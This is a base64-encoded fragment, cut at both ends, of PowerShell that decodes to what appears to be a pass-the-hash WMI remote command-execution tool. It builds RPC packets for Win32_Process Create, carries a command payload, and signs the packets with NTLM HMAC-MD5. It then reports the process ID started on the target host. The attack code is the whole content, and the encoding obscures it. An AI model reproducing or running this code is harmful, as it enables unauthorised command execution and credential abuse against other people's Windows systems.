CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDcyLDB4NjksMHg2ZSwweDY3LDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAxLDB4MDAsMHgwNCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4ODAsMHgwMywweDA4LDB4MDAsMHgwMCwweDAwLDB4ODUsMHgwMSwweDAwLDB4MDAsMHgwMCwweDQ5LDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDg1LDB4MDEsMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHhlMiwweDAxLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NDEsMHg1MCwweDQ5LDB4N2MsMHg1MCwweDcyLDB4NmYsMHg2MywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NjUsMHg3MywweDczLDB4MjAsMHg2MSwweDZlLDB4NjQsMHgyMCwweDU0LDB4NjgsMHg3MiwweDY1LDB4NjEsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY0LDB4MjAsMHg0NiwweDc1LDB4NmUsMHg2MywweDc0LDB4NjksMHg2ZiwweDZlLDB4NzMsMHg3YywweDQzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3MiwweDY1LDB4NjEsMHg3NCwweDY1LDB4NTAsMHg3MiwweDZmLDB4NjMsMHg2NSwweDczLDB4NzMsMHg3YywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NmMsMHg3MCwweDQzLDB4NzUsMHg3MiwweDcyLDB4NjUsMHg2ZSwweDc0LDB4NDQsMHg2OSwweDcyLDB4NjUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDYzLDB4NzQsMHg2ZiwweDcyLDB4NzksMHgyMCwweDAwLDB4MDAsMHg0ZCwweDYxLDB4NzAsMHg3MCwweDY5LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2ZSwweDY3LDB4NTMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4NzMsMHgwMCwweDA4LDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDI5LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLDB4MDAsMHg4NSwweDAxLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwweDAwLDB4ZmYsMHhmZiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MmIsMHgwMiwweDAwLDB4MDAsMHgwMiwweDA4LDB4MjAsMHgwMCwweDAwLDB4ZGEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4NDksMHg0NCwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDQsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzYsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweGJhLDB4MDIsMHgwMCwweDAwLDB4YWMsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4MmIsMHgwMiwweDAwLDB4MDAsMHgwMiwweDA4LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgyMCwweDAwLDB4MDAsMHhkYSwweDAxLDB4MDAsMHgwMCwweDcyLDB4MDIsMHgwMCwweDAwLDB4MTEsMHgwMywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDczLDB4NzQsMHg3MiwweDY5LDB4NmUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDY3LDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NTAsMHg3MiwweDZmLDB4NjMsMHg2NSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NzMsMHg3MywweDUzLDB4NzQsMHg2MSwweDcyLDB4NzQsMHg3NSwweDcwLDB4NDksMHg2ZSwweDY2LDB4NmYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDcyLDB4NmQsMHg2MSwweDc0LDB4NjksMHg2ZiwweDZlLDB4MDAsMHgwMCwweDZmLDB4NjIsMHg2YSwweDY1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MywweDc0LDB4MDAsMHgwZCwweDAwLDB4MDAsMHgwMCwweDAyLDB4MDAsMHgwOCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA4LDB4MDAsMHgwMCwweDAwLDB4ZWYsMHgwMiwweDAwLDB4MDAsMHgwMCwweDQ5LDB4NmUsMHgwMCwweDBkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweGVmLDB4MDIsMHgwMCwweDAwLDB4MTYsMHgwMywweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHg0YywweDAzLDB4MDAsMHgwMCwweDAwLDB4NTcsMHg0ZCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NDksMHg3YywweDU3LDB4NjksMHg2ZSwweDMzLDB4MzIsMHg1ZiwweDUwLDB4NzIsMHg2ZiwweDYzLDB4NjUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDczLDB4NzMsMHg1MywweDc0LDB4NjEsMHg3MiwweDc0LDB4NzUsMHg3MCwweDAwLDB4MDAsMHg0ZCwweDYxLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3MCwweDcwLDB4NjksMHg2ZSwweDY3LDB4NTMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4NzMsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MGQsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MjksMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweGVmLDB4MDIsMHgwMCwweDAwLDB4MTYsMHgwMywweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHhmZiwweGZmLDB4NjYsMHgwMywweDAwLDB4MDAsMHgwMiwweDA4LDB4MjAsMHgwMCwweDAwLDB4NDQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLDB4NDksMHg0NCwweDAwLDB4MGQsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzYsMHgwMCwweDAwLDB4MDAsMHgwYSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweGY1LDB4MDMsMHgwMCwweDAwLDB4MTYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4NjYsMHgwMywweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLDB4MDAsMHg0NCwweDAzLDB4MDAsMHgwMCwweGFkLDB4MDMsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgxMSwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDZmLDB4NjIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDZhLDB4NjUsMHg2MywweDc0LDB4M2EsMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NWYsMHg1MCwweDcyLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2ZiwweDYzLDB4NjUsMHg3MywweDczLDB4NTMsMHg3NCwweDYxLDB4NzIsMHg3NCwweDc1LDB4NzAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKCwweDAwICogNTAxKSArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDNjLDB4MGUsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsMHgwMCwweDAxICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kX2xlbmd0aDIgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDgwLDB4MDAsMHg1ZiwweDVmLDB4NTAsMHg0MSwweDUyLDB4NDEsMHg0ZCwweDQ1LDB4NTQsMHg0NSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NTIsMHg1MywweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDA0LDB4MDAsMHgwMiwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkU3R1Yl9kYXRhLkxlbmd0aCAtbHQgJHJlcXVlc3Rfc3BsaXRfaW5kZXgpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXN1bHQnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdF9zdGFnZV9maW5hbCA9IFtNYXRoXTo6Q2VpbGluZygkc3R1Yl9kYXRhLkxlbmd0aCAvICRyZXF1ZXN0X3NwbGl0X2luZGV4KQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmVxdWVzdF9zcGxpdF9zdGFnZSAtbHQgMikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9sZW5ndGggPSAkc3R1Yl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSAkc3R1Yl9kYXRhWzAuLigkcmVxdWVzdF9zcGxpdF9pbmRleCAtIDEpXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0X3N0YWdlID0gMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXJfY291bnRlciA9IDEwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfZmxhZ3MgPSAweDgxDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciA9ICRyZXF1ZXN0X3NwbGl0X2luZGV4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRyZXF1ZXN0X3NwbGl0X3N0YWdlIC1lcSAkcmVxdWVzdF9zcGxpdF9zdGFnZV9maW5hbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdCA9ICRmYWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRzZXF1ZW5jZV9udW1iZXJfY291bnRlcikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdF9zdGFnZSA9IDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gJHN0dWJfZGF0YVskcmVxdWVzdF9zcGxpdF9pbmRleF90cmFja2VyLi4kc3R1Yl9kYXRhLkxlbmd0aF0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1Jlc3VsdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9sZW5ndGggPSAkc3R1Yl9kYXRhLkxlbmd0aCAtICRyZXF1ZXN0X3NwbGl0X2luZGV4X3RyYWNrZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gJHN0dWJfZGF0YVskcmVxdWVzdF9zcGxpdF9pbmRleF90cmFja2VyLi4oJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciArICRyZXF1ZXN0X3NwbGl0X2luZGV4IC0gMSldDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciArPSAkcmVxdWVzdF9zcGxpdF9pbmRleA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0X3N0YWdlKysNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkc2VxdWVuY2VfbnVtYmVyX2NvdW50ZXIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlcl9jb3VudGVyKysNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgJHJlcXVlc3RfZmxhZ3MgJHN0dWJfZGF0YS5MZW5ndGggMTYgJHJlcXVlc3RfYXV0aF9wYWRkaW5nICRyZXF1ZXN0X2NhbGxfSUQgJHJlcXVlc3RfY29udGV4dF9JRCAkcmVxdWVzdF9vcG51bSAkcmVxdWVzdF9VVUlEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXF1ZXN0X3NwbGl0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDWyJSUENSZXF1ZXN0X0FsbG9jSGludCJdID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcmVxdWVzdF9sZW5ndGgpDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciA9IEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIgJHJlcXVlc3RfYXV0aF9wYWRkaW5nIDB4MDQgJHNlcXVlbmNlX251bWJlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICAgICAgICAgICAgICAgICAkTlRMTVNTUF92ZXJpZmllciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfc2lnbmF0dXJlID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCRzZXF1ZW5jZV9udW1iZXIgKyAkUlBDICsgJHN0dWJfZGF0YSArICROVExNU1NQX3ZlcmlmaWVyWzAuLigkcmVxdWVzdF9hdXRoX3BhZGRpbmcgKyA3KV0pDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX3NpZ25hdHVyZSA9ICRSUENfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05UTE1TU1BfdmVyaWZpZXJbIk5UTE1TU1BWZXJpZmllcl9OVExNU1NQVmVyaWZpZXJDaGVja3N1bSJdID0gJFJQQ19zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICROVExNU1NQX3ZlcmlmaWVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX3ZlcmlmaWVyDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQyArICRzdHViX2RhdGEgKyAkTlRMTVNTUF92ZXJpZmllcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRyZXF1ZXN0X3NwbGl0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uRGF0YUF2YWlsYWJsZSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBTdGFydC1TbGVlcCAtbSAkU2xlZXANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2UgPSAkV01JX2NsaWVudF9zdGFnZV9uZXh0DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnUmVzdWx0Jw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5EYXRhQXZhaWxhYmxlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFN0YXJ0LVNsZWVwIC1tICRTbGVlcA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkV01JX2NsaWVudF9yZWNlaXZlWzExNDVdIC1uZSA5KQ0KICAgICAgICAgICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0X3Byb2Nlc3NfSUQgPSBEYXRhTGVuZ3RoMiAxMTQxICRXTUlfY2xpZW50X3JlY2VpdmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkNvbW1hbmQgZXhlY3V0ZWQgd2l0aCBwcm9jZXNzIElEICR0YXJnZXRfcHJvY2Vzc19JRCBvbiAkdGFyZ2V0X2xvbmciDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJQcm9jZXNzIGRpZCBub3Qgc3RhcnQsIGNoZWNrIHlvdXIgY29tbWFuZCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2UgPSAnZXhpdCcNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgU3RhcnQtU2xlZXAgLW0gJFNsZWVwDQogICAgICAgICAgICANCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ2xvc2UoKQ0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3